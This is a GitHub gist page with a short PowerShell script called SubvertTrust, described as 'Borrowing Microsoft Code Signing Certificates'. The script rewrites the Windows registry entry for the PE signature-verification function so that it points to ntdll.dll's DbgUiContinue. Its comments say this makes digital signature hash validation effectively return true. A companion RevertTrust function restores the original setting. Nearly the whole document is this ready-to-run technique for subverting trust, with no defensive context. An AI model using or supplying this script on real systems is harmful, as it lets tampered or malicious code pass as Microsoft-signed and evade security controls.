Skip to content

Instantly share code, notes, and snippets.

@ConsciousHacker
Last active August 10, 2018 12:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save ConsciousHacker/eebebd4af6de2c45367d37135a0d08d1 to your computer and use it in GitHub Desktop.
Save ConsciousHacker/eebebd4af6de2c45367d37135a0d08d1 to your computer and use it in GitHub Desktop.
Borrowing Microsoft Code Signing Certificates
<#
SubvertTrust v1.0
License: GPLv3
Author: @ConsciousHacker
Credits: @mattifestation
#>
function SubvertTrust
{
$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'
# PE SIP Guids
#{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
#{C689AABA-8E78-11D0-8C47-00C04FC295EE}
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'
$PESignatureVerifier = Get-Item -Path "$VerifyHashFunc\$PESIPGuid\"
# Signed code reuse attack that will effectively return TRUE when the
# digitial signature hash validation function is called.
$NewDll = 'C:\Windows\System32\ntdll.dll'
$NewFuncName = 'DbgUiContinue'
$PESignatureVerifier | Set-ItemProperty -Name Dll -Value $NewDll
$PESignatureVerifier | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
function RevertTrust
{
$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'
# PE SIP Guids
#{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
#{C689AABA-8E78-11D0-8C47-00C04FC295EE}
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'
$PESignatureVerifier = Get-Item -Path "$VerifyHashFunc\$PESIPGuid\"
# Signed code reuse attack that will effectively return TRUE when the
# digitial signature hash validation function is called.
$NewDll = 'WINTRUST.DLL'
$NewFuncName = 'CryptSIPVerifyIndirectData'
$PESignatureVerifier | Set-ItemProperty -Name Dll -Value $NewDll
$PESignatureVerifier | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
##################
# Start a new process for the hijack to take effect.
# powershell
##################
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment